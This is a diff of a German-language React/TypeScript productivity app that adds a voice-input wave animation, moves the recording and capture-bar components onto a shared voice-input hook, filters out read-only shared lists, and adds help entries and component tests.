<div className="flex w-full items-center justify-between" role="radiogroup" aria-label="Farbfamilie">
{THEME_FAMILIES.map((f) => {
const preview = AVAILABLE_THEMES.find((t) => t.id === (mode === 'light' ? f.light : f.dark));
const selected = active?.family === f.id;
return (
<button
key={f.id}
type="button"
role="radio"
aria-checked={selected}
onClick={() => pick(mode === 'light' ? f.light : f.dark)}
title={f.name}
className={`${dot} rounded-full flex items-center justify-center transition-transform active:scale-95 cursor-pointer ${
selected ? 'ring-2 ring-accent ring-offset-2 ring-offset-panel' : 'hover:scale-105'
}`}
style={{ backgroundColor: preview?.previewBg }}
>
<span className="w-3 h-3 rounded-full" style={{ backgroundColor: preview?.previewAccent }} />
</button>
);
})}
</div>
</div>
{/* Own row: three labelled segments, so it fits narrow menus */}
<div className="grid grid-cols-3 rounded-full bg-panel-elevated p-0.5" role="radiogroup" aria-label="Hell oder dunkel">
{(['light', 'dark', 'auto'] as const).map((m) => {
const family = active?.family ? THEME_FAMILIES.find((f) => f.id === active.family) : undefined;
const selected = m === 'auto' ? followSystem : !followSystem && !!active && mode === m;
const disabled = !family;
return (
<button
key={m}
type="button"
role="radio"
aria-checked={selected}
disabled={disabled}
onClick={() => {
if (!family) return;
setFollowSystem(m === 'auto');
setFollow(m === 'auto');
onChange(m === 'auto' ? resolveTheme(family.dark) : family[m]);
}}
title={m === 'light' ? 'Hell' : m === 'dark' ? 'Dunkel' : 'Wie System'}
aria-label={m === 'light' ? 'Hell' : m === 'dark' ? 'Dunkel' : 'Wie System'}
className={`${touch ? 'h-9' : 'h-7'} rounded-full flex items-center justify-center gap-1 text-[11px] font-medium transition-colors cursor-pointer disabled:opacity-40 disabled:cursor-not-allowed ${
selected ? 'bg-panel text-accent shadow-sm' : 'text-muted hover:text-main'
}`}
>
{m === 'light' ? (
<Sun className="w-3.5 h-3.5" />
) : m === 'dark' ? (
<Moon className="w-3.5 h-3.5" />
) : (
<Monitor className="w-3.5 h-3.5" />
)}
<span>{m === 'light' ? 'Hell' : m === 'dark' ? 'Dunkel' : 'System'}</span>
</button>
);
})}
</div>
{customThemes.length > 0 && (
<div className="flex flex-wrap gap-1">
{customThemes.map((t) => (
<button
key={t.id}
type="button"
onClick={() => {
setFollowSystem(false);
setFollow(false);
onChange(t.id);
}}
className={`h-7 px-2 rounded-full text-[11px] flex items-center gap-1.5 border transition-colors cursor-pointer ${
activeTheme === t.id ? 'border-accent text-main' : 'border-border text-muted hover:text-main'
}`}
>
<span className="w-2.5 h-2.5 rounded-full" style={{ backgroundColor: t.previewAccent }} />
<span className="truncate max-w-[8rem]">{t.name}</span>
</button>
))}
</div>
)}
</div>
);
};
+58
View File
@@ -0,0 +1,58 @@
import React, { useEffect, useRef } from 'react';
interface VoiceWaveProps {
/** Input level 0..1; null (unknown, e.g. browser recognition) shows a calm idle wave. */
getLevel: () => number | null;
bars?: number;
/** Bar colour and size come from the caller, e.g. "h-4 text-accent". */
className?: string;
}
// Live wave reacting to the voice. Heights are set directly on the bars every frame, so React does
// not re-render 60 times a second.
export const VoiceWave: React.FC<VoiceWaveProps> = ({ getLevel, bars = 5, className = 'h-4 text-accent' }) => {
const barRefs = useRef<(HTMLSpanElement | null)[]>([]);
const getLevelRef = useRef(getLevel);
getLevelRef.current = getLevel;
useEffect(() => {
const history: number[] = new Array(bars).fill(0);
let frame = 0;
let raf = 0;
const reduceMotion = window.matchMedia?.('(prefers-reduced-motion: reduce)').matches;
const tick = () => {
frame++;
const measured = getLevelRef.current();
const level = measured ?? 0.25 + 0.2 * Math.sin(frame / 9);
// Newest level enters in the middle and travels outwards
if (frame % 3 === 0) {
history.pop();
history.unshift(level);
}
const mid = Math.floor(bars / 2);
barRefs.current.forEach((el, i) => {
if (!el) return;
const v = reduceMotion ? 0.5 : history[Math.abs(i - mid)] ?? 0;
el.style.transform = `scaleY(${Math.max(0.15, Math.min(1, v * 1.4))})`;
});
raf = requestAnimationFrame(tick);
};
raf = requestAnimationFrame(tick);
return () => cancelAnimationFrame(raf);
}, [bars]);
return (
<span className={`inline-flex items-center gap-[3px] ${className}`} aria-hidden="true">
{Array.from({ length: bars }, (_, i) => (
<span
key={i}
ref={(el) => {
barRefs.current[i] = el;
}}
className="w-[3px] h-full rounded-full bg-current origin-center transition-transform duration-75"
style={{ transform: 'scaleY(0.15)' }}
/>
))}
</span>
);
};
@@ -0,0 +1,61 @@
import React from 'react';
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
import { SharedImportToast } from '../SharedImportToast';
import { api } from '../../lib/api';
import { SharedList } from '../../lib/types';
const list = (id: string, title: string, role: string, isOwner = false): SharedList => ({
id, title, icon: '🛒', listType: 'shopping', isOwner, role, items: [],
createdAt: '2026-10-31T10:00:00Z', updatedAt: '2026-10-31T10:00:00Z',
});
describe('SharedImportToast (after sharing into MindSift)', () => {
beforeEach(() => {
vi.restoreAllMocks();
});
it('sends every shared entry on as a task', async () => {
const spy = vi.spyOn(api, 'triageAction').mockResolvedValue({} as any);
const onConverted = vi.fn();
render(<SharedImportToast thoughtIds={['th_1', 'th_2']} lists={[]} onClose={() => {}} onConverted={onConverted} />);
expect(screen.getByText('2 Einträge im Quick Dump abgelegt')).toBeTruthy();
expect(screen.queryByText('Liste')).toBeNull(); // no writable list, no list button
fireEvent.click(screen.getByText('Aufgabe'));
await waitFor(() => expect(onConverted).toHaveBeenCalledWith('2 Aufgaben angelegt'));
expect(spy).toHaveBeenCalledWith('th_1', 'keep', { convertTo: 'task', targetListId: undefined });
expect(spy).toHaveBeenCalledWith('th_2', 'keep', { convertTo: 'task', targetListId: undefined });
});
it('puts it straight onto the only writable list', async () => {
const spy = vi.spyOn(api, 'triageAction').mockResolvedValue({} as any);
const onConverted = vi.fn();
render(
<SharedImportToast
thoughtIds={['th_1']}
lists={[list('l1', 'Wocheneinkauf', 'owner', true), list('l2', 'WG-Archiv', 'viewer')]}
onClose={() => {}}
onConverted={onConverted}
/>
);
fireEvent.click(screen.getByText('Liste'));
await waitFor(() => expect(onConverted).toHaveBeenCalledWith('Eintrag auf „Wocheneinkauf“'));
expect(spy).toHaveBeenCalledWith('th_1', 'keep', { convertTo: 'list_item', targetListId: 'l1' });
});
it('lets you pick among several lists, read-only ones left out', async () => {
const spy = vi.spyOn(api, 'triageAction').mockResolvedValue({} as any);
render(
<SharedImportToast
thoughtIds={['th_1']}
lists={[list('l1', 'Wocheneinkauf', 'owner', true), list('l2', 'Baumarkt', 'editor'), list('l3', 'WG-Archiv', 'viewer')]}
onClose={() => {}}
onConverted={() => {}}
/>
);
fireEvent.click(screen.getByText('Liste'));
expect(screen.queryByText('WG-Archiv')).toBeNull();
fireEvent.click(screen.getByText('Baumarkt'));
await waitFor(() => expect(spy).toHaveBeenCalledWith('th_1', 'keep', { convertTo: 'list_item', targetListId: 'l2' }));
});
});
+79 -131
View File
@@ -1,6 +1,8 @@
import React, { useEffect, useRef, useState } from 'react'; import React, { useEffect, useRef, useState } from 'react';
import { Mic, Plus } from 'lucide-react'; import { Mic, Plus } from 'lucide-react';
import { triggerHaptic } from '../../lib/api'; import { triggerHaptic } from '../../lib/api';
import { useVoiceInput } from '../../lib/useVoiceInput';
import { VoiceWave } from '../../components/VoiceWave';
export interface HoldToRecordFabProps { export interface HoldToRecordFabProps {
onTap: () => void; onTap: () => void;
@@ -24,14 +26,10 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
const didEnterHoldRef = useRef(false); const didEnterHoldRef = useRef(false);
const fallbackHandledRef = useRef(false); const fallbackHandledRef = useRef(false);
const isCancelZoneRef = useRef(false); const isCancelZoneRef = useRef(false);
const abortedRef = useRef(false);
const isStoppingRef = useRef(false);
const hasEndedRef = useRef(false);
const finalizedRef = useRef(false); const finalizedRef = useRef(false);
const startYRef = useRef(0); const startYRef = useRef(0);
const transcriptRef = useRef(''); const transcriptRef = useRef('');
const recognitionRef = useRef<any>(null);
const holdTimerRef = useRef<number | null>(null); const holdTimerRef = useRef<number | null>(null);
const stopTimerRef = useRef<number | null>(null); const stopTimerRef = useRef<number | null>(null);
const toastTimerRef = useRef<number | null>(null); const toastTimerRef = useRef<number | null>(null);
@@ -50,17 +48,66 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
} }
}; };
const showToast = (msg: string) => { const showToast = (msg: string, sticky = false) => {
if (toastTimerRef.current !== null) { if (toastTimerRef.current !== null) {
window.clearTimeout(toastTimerRef.current); window.clearTimeout(toastTimerRef.current);
toastTimerRef.current = null;
} }
setToastMessage(msg); setToastMessage(msg);
if (sticky) return;
toastTimerRef.current = window.setTimeout(() => { toastTimerRef.current = window.setTimeout(() => {
setToastMessage(null); setToastMessage(null);
toastTimerRef.current = null; toastTimerRef.current = null;
}, TOAST_DURATION_MS); }, TOAST_DURATION_MS);
}; };
const finalizeRecording = async (text: string) => {
if (finalizedRef.current) return;
finalizedRef.current = true;
clearStopTimer();
setLiveTranscript('');
const trimmed = text.trim();
if (!trimmed) {
showToast('Nichts erkannt');
return;
}
try {
await onTranscript(trimmed);
triggerHaptic(25);
showToast('Im Quick Dump gespeichert');
} catch {
showToast('Fehler beim Speichern');
}
};
// Own Whisper server (text after release) or the browser's recognition (text while speaking)
const voice = useVoiceInput({
continuous: true,
onText: (text, final) => {
transcriptRef.current = text;
if (!final) {
setLiveTranscript(text);
return;
}
void finalizeRecording(text);
},
onError: (message) => {
clearStopTimer();
setIsRecording(false);
setIsCancelZone(false);
setLiveTranscript('');
if (didEnterHoldRef.current && isPressedRef.current && !fallbackHandledRef.current) {
// Recording could not start: open the normal capture sheet instead
fallbackHandledRef.current = true;
showToast(message);
onTap();
return;
}
finalizedRef.current = true;
showToast(message);
},
});
useEffect(() => { useEffect(() => {
return () => { return () => {
clearHoldTimer(); clearHoldTimer();
@@ -68,112 +115,28 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
if (toastTimerRef.current !== null) { if (toastTimerRef.current !== null) {
window.clearTimeout(toastTimerRef.current); window.clearTimeout(toastTimerRef.current);
} }
if (recognitionRef.current) {
try {
recognitionRef.current.abort?.();
} catch {
// ignore cleanup errors
}
}
}; };
}, []); }, []);
const finalizeRecording = async () => { useEffect(() => {
if (finalizedRef.current) return; if (voice.state === 'transcribing') showToast('Wird erkannt…', true);
finalizedRef.current = true; }, [voice.state]);
clearStopTimer();
recognitionRef.current = null;
if (abortedRef.current) return;
const text = transcriptRef.current.trim();
setLiveTranscript('');
if (!text) {
showToast('Nichts erkannt');
return;
}
try {
await onTranscript(text);
triggerHaptic(25);
showToast('Im Quick Dump gespeichert');
} catch {
showToast('Fehler beim Speichern');
}
};
const startVoiceRecording = () => { const startVoiceRecording = () => {
const SpeechRecognition = if (voice.mode === 'off' || voice.mode === 'unsupported') {
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
if (!SpeechRecognition) {
fallbackHandledRef.current = true; fallbackHandledRef.current = true;
showToast('Spracheingabe wird von diesem Browser nicht unterstützt'); if (voice.mode === 'unsupported') showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
onTap(); onTap();
return; return;
} }
transcriptRef.current = '';
try { finalizedRef.current = false;
const recognition = new SpeechRecognition(); isCancelZoneRef.current = false;
recognition.lang = 'de-DE'; setLiveTranscript('');
recognition.interimResults = true; setIsCancelZone(false);
recognition.continuous = true; setIsRecording(true);
triggerHaptic([15, 60, 25]);
transcriptRef.current = ''; void voice.start();
abortedRef.current = false;
isStoppingRef.current = false;
hasEndedRef.current = false;
finalizedRef.current = false;
isCancelZoneRef.current = false;
recognition.onresult = (event: any) => {
let combined = '';
for (let i = 0; i < event.results.length; i++) {
combined += event.results[i][0].transcript;
}
transcriptRef.current = combined;
setLiveTranscript(combined);
};
recognition.onerror = (event: any) => {
const errCode = event?.error;
if (errCode === 'not-allowed' || errCode === 'service-not-allowed') {
abortedRef.current = true;
clearStopTimer();
setIsRecording(false);
setIsCancelZone(false);
setLiveTranscript('');
if (!fallbackHandledRef.current) {
fallbackHandledRef.current = true;
showToast('Mikrofon nicht freigegeben');
onTap();
}
return;
}
if (isStoppingRef.current) {
void finalizeRecording();
}
};
recognition.onend = () => {
hasEndedRef.current = true;
if (isStoppingRef.current) {
void finalizeRecording();
}
};
recognitionRef.current = recognition;
setLiveTranscript('');
setIsCancelZone(false);
setIsRecording(true);
triggerHaptic([15, 60, 25]);
recognition.start();
} catch {
fallbackHandledRef.current = true;
setIsRecording(false);
showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
onTap();
}
}; };
const handlePointerDown = (e: React.PointerEvent<HTMLButtonElement>) => { const handlePointerDown = (e: React.PointerEvent<HTMLButtonElement>) => {
@@ -240,34 +203,23 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
setIsCancelZone(false); setIsCancelZone(false);
if (isCancelZoneRef.current) { if (isCancelZoneRef.current) {
abortedRef.current = true; finalizedRef.current = true;
clearStopTimer(); clearStopTimer();
setLiveTranscript(''); setLiveTranscript('');
triggerHaptic(15); triggerHaptic(15);
try { voice.cancel();
recognitionRef.current?.abort?.();
} catch {
// ignore
}
recognitionRef.current = null;
return; return;
} }
isStoppingRef.current = true; // The browser's recognition sometimes never reports its end: save what was heard after a moment.
if (hasEndedRef.current || !recognitionRef.current) { // The own server answers when it is done (with its own time limit).
void finalizeRecording(); if (voice.mode !== 'server') {
return; stopTimerRef.current = window.setTimeout(() => {
} voice.cancel();
void finalizeRecording(transcriptRef.current);
stopTimerRef.current = window.setTimeout(() => { }, STOP_TIMEOUT_MS);
void finalizeRecording();
}, STOP_TIMEOUT_MS);
try {
recognitionRef.current.stop();
} catch {
void finalizeRecording();
} }
void voice.stop();
}; };
const handlePointerCancel = (e: React.PointerEvent<HTMLButtonElement>) => { const handlePointerCancel = (e: React.PointerEvent<HTMLButtonElement>) => {
@@ -283,16 +235,11 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
clearStopTimer(); clearStopTimer();
if (didEnterHoldRef.current && !fallbackHandledRef.current) { if (didEnterHoldRef.current && !fallbackHandledRef.current) {
abortedRef.current = true; finalizedRef.current = true;
setIsRecording(false); setIsRecording(false);
setIsCancelZone(false); setIsCancelZone(false);
setLiveTranscript(''); setLiveTranscript('');
try { voice.cancel();
recognitionRef.current?.abort?.();
} catch {
// ignore
}
recognitionRef.current = null;
} }
}; };
@@ -313,7 +260,8 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
<div className="text-xs font-semibold">🗑️ Zum Abbrechen loslassen</div> <div className="text-xs font-semibold">🗑️ Zum Abbrechen loslassen</div>
) : ( ) : (
<div className="space-y-1"> <div className="space-y-1">
<div className="text-xs font-semibold text-main"> <div className="text-xs font-semibold text-main flex items-center justify-center gap-2">
{voice.mode === 'server' && <VoiceWave getLevel={voice.level} bars={7} className="h-4 text-accent" />}
Ich höre zu… (loslassen speichert) Ich höre zu… (loslassen speichert)
</div> </div>
{displayedTranscript ? ( {displayedTranscript ? (
@@ -1,8 +1,8 @@
import React, { useEffect, useRef, useState } from 'react'; import React, { useEffect, useRef, useState, useMemo } from 'react';
import { import {
Mic, Mic,
MicOff, MicOff,
ArrowUp, ArrowDown,
Sparkles, Sparkles,
Calendar, Calendar,
Check, Check,
@@ -13,9 +13,12 @@ import {
ChevronDown, ChevronDown,
AlertTriangle, AlertTriangle,
Flame, Flame,
Loader2,
} from 'lucide-react'; } from 'lucide-react';
import { PriorityLevel, SharedList, Thought } from '../../lib/types'; import { PriorityLevel, SharedList, Thought } from '../../lib/types';
import { api, triggerHaptic } from '../../lib/api'; import { api, triggerHaptic } from '../../lib/api';
import { useVoiceInput } from '../../lib/useVoiceInput';
import { VoiceWave } from '../../components/VoiceWave';
export type CaptureTarget = 'inbox' | 'task' | 'list_item' | 'document'; export type CaptureTarget = 'inbox' | 'task' | 'list_item' | 'document';
@@ -38,23 +41,40 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
hideTargetPicker = false, hideTargetPicker = false,
fixedTarget, fixedTarget,
}) => { }) => {
// Read-only shared lists cannot take new items; stable reference for the effect below
const writableLists = useMemo(() => lists.filter((l) => l.isOwner || l.role !== 'viewer'), [lists]);
const [content, setContent] = useState(''); const [content, setContent] = useState('');
const [priority, setPriority] = useState<PriorityLevel>('normal'); const [priority, setPriority] = useState<PriorityLevel>('normal');
const [dueDate, setDueDate] = useState(''); const [dueDate, setDueDate] = useState('');
const [target, setTarget] = useState<CaptureTarget>(fixedTarget || 'inbox'); const [target, setTarget] = useState<CaptureTarget>(fixedTarget || 'inbox');
const [targetListId, setTargetListId] = useState<string>(''); const [targetListId, setTargetListId] = useState<string>('');
const [showOptions, setShowOptions] = useState(defaultShowOptions || hideTargetPicker); const [showOptions, setShowOptions] = useState(defaultShowOptions || hideTargetPicker);
const [isListening, setIsListening] = useState(false); const [voiceError, setVoiceError] = useState<string | null>(null);
const [isSubmitting, setIsSubmitting] = useState(false); const [isSubmitting, setIsSubmitting] = useState(false);
const [justSavedLabel, setJustSavedLabel] = useState<string | null>(null); const [justSavedLabel, setJustSavedLabel] = useState<string | null>(null);
const [isMultiline, setIsMultiline] = useState(false); const [isMultiline, setIsMultiline] = useState(false);
const inputRef = useRef<HTMLTextAreaElement>(null); const inputRef = useRef<HTMLTextAreaElement>(null);
const containerRef = useRef<HTMLFormElement>(null); const containerRef = useRef<HTMLFormElement>(null);
const recognitionRef = useRef<any>(null);
const baseVoiceTextRef = useRef(''); const baseVoiceTextRef = useRef('');
const hasVoiceInputRef = useRef(false); const hasVoiceInputRef = useRef(false);
// Voice input: own Whisper server or the browser's recognition (lib/voice.ts)
const voice = useVoiceInput({
onText: (text, final) => {
const base = baseVoiceTextRef.current;
if (text) setContent(base ? `${base} ${text}` : text);
if (final) inputRef.current?.focus();
},
onError: (message) => {
setVoiceError(message);
window.setTimeout(() => setVoiceError(null), 4000);
},
});
const isListening = voice.state === 'listening';
const isTranscribing = voice.state === 'transcribing';
const [isOverMaxHeight, setIsOverMaxHeight] = useState(false);
const adjustHeight = (el?: HTMLTextAreaElement | null) => { const adjustHeight = (el?: HTMLTextAreaElement | null) => {
const targetEl = el || inputRef.current; const targetEl = el || inputRef.current;
if (!targetEl) return; if (!targetEl) return;
@@ -63,8 +83,10 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
const scrollH = targetEl.scrollHeight; const scrollH = targetEl.scrollHeight;
targetEl.style.height = `${Math.min(scrollH, 140)}px`; targetEl.style.height = `${Math.min(scrollH, 140)}px`;
setIsMultiline(targetEl.value.includes('\n') || scrollH > 28); setIsMultiline(targetEl.value.includes('\n') || scrollH > 28);
setIsOverMaxHeight(scrollH > 140);
} else { } else {
setIsMultiline(false); setIsMultiline(false);
setIsOverMaxHeight(false);
} }
}; };
@@ -77,10 +99,10 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
}, [autoFocusTrigger]); }, [autoFocusTrigger]);
useEffect(() => { useEffect(() => {
if (!targetListId && lists.length > 0) { if (!targetListId && writableLists.length > 0) {
setTargetListId(lists[0].id); setTargetListId(writableLists[0].id);
} }
}, [lists, targetListId]); }, [writableLists, targetListId]);
// Close dropdown on outside click // Close dropdown on outside click
useEffect(() => { useEffect(() => {
@@ -118,57 +140,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
}, []); }, []);
const toggleVoiceDictation = () => { const toggleVoiceDictation = () => {
const SpeechRecognition = if (voice.state === 'idle') {
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
if (!SpeechRecognition) {
alert('Spracheingabe wird von diesem Browser nicht direkt unterstützt (bitte Chrome, Edge oder Safari nutzen).');
return;
}
if (isListening && recognitionRef.current) {
recognitionRef.current.stop();
setIsListening(false);
return;
}
try {
baseVoiceTextRef.current = content.replace(/\s*\[…\]$/, '').trim(); baseVoiceTextRef.current = content.replace(/\s*\[…\]$/, '').trim();
hasVoiceInputRef.current = true; hasVoiceInputRef.current = true;
setVoiceError(null);
const recognition = new SpeechRecognition(); triggerHaptic(20);
recognition.lang = 'de-DE';
recognition.continuous = false;
recognition.interimResults = true;
recognition.onstart = () => {
setIsListening(true);
triggerHaptic(20);
};
recognition.onresult = (event: any) => {
let transcript = '';
for (let i = 0; i < event.results.length; i++) {
transcript += event.results[i][0].transcript;
}
const base = baseVoiceTextRef.current;
setContent(base ? `${base} ${transcript}` : transcript);
};
recognition.onerror = () => {
setIsListening(false);
};
recognition.onend = () => {
setIsListening(false);
inputRef.current?.focus();
};
recognitionRef.current = recognition;
recognition.start();
} catch {
setIsListening(false);
} }
voice.toggle();
}; };
const executeCapture = async ( const executeCapture = async (
@@ -180,11 +158,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
const effectiveTarget = fixedTarget || overrideTarget || target; const effectiveTarget = fixedTarget || overrideTarget || target;
const effectiveListId = const effectiveListId =
overrideListId || targetListId || (lists.length > 0 ? lists[0].id : ''); overrideListId || targetListId || (writableLists.length > 0 ? writableLists[0].id : '');
const capturedPriority = priority; const capturedPriority = priority;
const capturedDueDate = dueDate; const capturedDueDate = dueDate;
const capturedSource = hasVoiceInputRef.current || isListening ? 'voice' : 'manual'; const capturedSource = hasVoiceInputRef.current || isListening ? 'voice' : 'manual';
hasVoiceInputRef.current = false; hasVoiceInputRef.current = false;
// A recognition still running would refill the field after it was saved
if (voice.state !== 'idle') voice.cancel();
// Optimistically clear input immediately so the UI feels instant (<10ms) in all browsers // Optimistically clear input immediately so the UI feels instant (<10ms) in all browsers
setContent(''); setContent('');
@@ -236,7 +216,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
await executeCapture(); await executeCapture();
}; };
const selectedList = lists.find((l) => l.id === targetListId) || lists[0]; const selectedList = writableLists.find((l) => l.id === targetListId) || writableLists[0];
const getTargetLabel = () => { const getTargetLabel = () => {
if (target === 'task') return 'Direkt-Aufgabe'; if (target === 'task') return 'Direkt-Aufgabe';
@@ -283,19 +263,25 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
} }
}} }}
placeholder={ placeholder={
isListening voiceError
? voiceError
: isListening
? 'Ich höre zu…' ? 'Ich höre zu…'
: isTranscribing
? 'Wird erkannt…'
: hideTargetPicker || fixedTarget === 'inbox' : hideTargetPicker || fixedTarget === 'inbox'
? 'Quick Dump erfassen… (Enter zum Speichern)' ? 'Quick Dump erfassen…'
: target === 'task' : target === 'task'
? 'Neue Aufgabe direkt anlegen… (Enter / Shift+Enter für Mehrzeiler)' ? 'Aufgabe erfassen…'
: target === 'list_item' : target === 'list_item'
? `Eintrag direkt zu "${selectedList?.title || 'Liste'}" hinzufügen…` ? `Zu „${selectedList?.title || 'Liste'}“ hinzufügen…`
: target === 'document' : target === 'document'
? 'Neue Workspace-Notiz direkt anlegen… (Enter / Shift+Enter für Mehrzeiler)' ? 'Notiz erfassen…'
: 'Quick Dump: Gedanke reinrotzen… (C / Enter, Shift+Enter für Mehrzeiler)' : 'Quick Dump…'
} }
className="w-full bg-transparent text-main placeholder-faint text-xs sm:text-sm focus:outline-none resize-none leading-5 py-0.5 overflow-y-auto" className={`w-full bg-transparent text-main placeholder-faint text-xs sm:text-sm focus:outline-none resize-none leading-5 py-0.5 ${
isOverMaxHeight ? 'overflow-y-auto' : 'overflow-hidden'
}`}
style={{ minHeight: '22px', maxHeight: '140px' }} style={{ minHeight: '22px', maxHeight: '140px' }}
autoComplete="off" autoComplete="off"
/> />
@@ -334,19 +320,33 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
</button> </button>
)} )}
{/* Voice Dictation Button */} {/* Voice Dictation Button (hidden when voice input is off or not supported) */}
<button {voice.available && (
type="button" <>
onClick={toggleVoiceDictation} {isListening && voice.mode === 'server' && (
title="Spracheingabe" <VoiceWave getLevel={voice.level} className="h-3.5 text-accent" />
className={`w-6 h-6 capture-pill rounded-full flex items-center justify-center transition-colors ${ )}
isListening <button
? 'bg-accent-dim text-accent' type="button"
: 'text-muted hover:text-main hover:bg-panel-elevated' onClick={toggleVoiceDictation}
}`} disabled={isTranscribing}
> title={isListening ? 'Aufnahme beenden' : isTranscribing ? 'Wird erkannt…' : 'Spracheingabe'}
{isListening ? <MicOff className="w-3 h-3" /> : <Mic className="w-3 h-3" />} className={`w-6 h-6 capture-pill rounded-full flex items-center justify-center transition-colors ${
</button> isListening || isTranscribing
? 'bg-accent-dim text-accent'
: 'text-muted hover:text-main hover:bg-panel-elevated'
}`}
>
{isTranscribing ? (
<Loader2 className="w-3 h-3 animate-spin" />
) : isListening ? (
<MicOff className="w-3 h-3" />
) : (
<Mic className="w-3 h-3" />
)}
</button>
</>
)}
{/* Instant Send Button */} {/* Instant Send Button */}
<button <button
@@ -365,7 +365,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
</> </>
) : ( ) : (
<> <>
<ArrowUp className="w-3 h-3" /> <ArrowDown className="w-3 h-3" />
<span className="inline"> <span className="inline">
{hideTargetPicker || (fixedTarget || target) === 'inbox' {hideTargetPicker || (fixedTarget || target) === 'inbox'
? 'Quick Dump' ? 'Quick Dump'
@@ -449,8 +449,8 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
type="button" type="button"
onClick={() => { onClick={() => {
setTarget('list_item'); setTarget('list_item');
if (!targetListId && lists.length > 0) { if (!targetListId && writableLists.length > 0) {
setTargetListId(lists[0].id); setTargetListId(writableLists[0].id);
} }
}} }}
className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${ className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${
@@ -485,13 +485,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
</div> </div>
{/* Optional Sub-Row: Shared List Picker */} {/* Optional Sub-Row: Shared List Picker */}
{lists.length > 0 && ( {writableLists.length > 0 && (
<div className="pt-2 border-t border-border flex flex-wrap items-center gap-1.5"> <div className="pt-2 border-t border-border flex flex-wrap items-center gap-1.5">
<span className="text-muted mr-1 flex items-center gap-1"> <span className="text-muted mr-1 flex items-center gap-1">
<ShoppingCart className="w-3 h-3 text-accent" /> <ShoppingCart className="w-3 h-3 text-accent" />
Liste: Liste:
</span> </span>
{lists.map((lst) => { {writableLists.map((lst) => {
const isSelected = target === 'list_item' && targetListId === lst.id; const isSelected = target === 'list_item' && targetListId === lst.id;
return ( return (
<button <button
+25
View File
@@ -159,6 +159,15 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
'code', 'code',
'callout', 'callout',
'divider', 'divider',
'bild',
'extract',
'auslagern',
'zusammenführen',
'audio',
'sprachnotiz',
'diktat',
'image',
'foto',
'auto-formatting', 'auto-formatting',
], ],
content: ( content: (
@@ -192,6 +201,22 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
<span className="text-accent font-bold">—</span> <span className="text-accent font-bold">—</span>
<span>/divider (Trennlinie)</span> <span>/divider (Trennlinie)</span>
</div> </div>
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
<span className="text-accent font-bold">🖼️</span>
<span>/image oder /bild (Bild hochladen, fotografieren, einfügen oder per Link; nur im leeren Punkt)</span>
</div>
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
<span className="text-accent font-bold">📤</span>
<span>/extract oder /notiz (Punkt mit allen Unterpunkten in eine eigene Notiz auslagern, an seiner Stelle bleibt ein [[Link]])</span>
</div>
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
<span className="text-accent font-bold">🎙️</span>
<span>/audio (Sprachnotiz aufnehmen: grüner Knopf startet, roter speichert; oder Audiodatei hochladen)</span>
</div>
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
<span className="text-accent font-bold">🗣️</span>
<span>/diktat (sprechen statt tippen: startet sofort, Tipp auf „Stopp“ setzt den Text in den Punkt)</span>
</div>
</div> </div>
</div> </div>
<div className="pt-2 border-t border-border"> <div className="pt-2 border-t border-border">
+75 -41
View File
@@ -4,13 +4,13 @@ import {
Trash2, Trash2,
Users, Users,
Check, Check,
Radio,
Sparkles, Sparkles,
X, X,
ShoppingCart, ShoppingCart,
} from 'lucide-react'; } from 'lucide-react';
import { ListItem, SharedList, Team, User, WSMessage } from '../../lib/types'; import { ListItem, SharedList, Team, User, WSMessage } from '../../lib/types';
import { api, triggerHaptic, createRealtimeConnection, RealtimeTransport } from '../../lib/api'; import { api, triggerHaptic, createRealtimeConnection, RealtimeTransport } from '../../lib/api';
import { readViewSession, writeViewSession } from '../../lib/viewSession';
import { UnifiedShareModal } from '../../components/UnifiedShareModal'; import { UnifiedShareModal } from '../../components/UnifiedShareModal';
import { AvatarStack, AvatarPerson } from '../../components/AvatarStack'; import { AvatarStack, AvatarPerson } from '../../components/AvatarStack';
import { CountBadge } from '../../components/CountBadge'; import { CountBadge } from '../../components/CountBadge';
@@ -83,7 +83,13 @@ export function deduplicateItems(items: ListItem[]): ListItem[] {
export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGlobal, currentUser, initialListId }) => { export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGlobal, currentUser, initialListId }) => {
const { setGroups, setPrimaryAction } = useMobileActions(); const { setGroups, setPrimaryAction } = useMobileActions();
const [lists, setLists] = useState<SharedList[]>([]); const [lists, setLists] = useState<SharedList[]>([]);
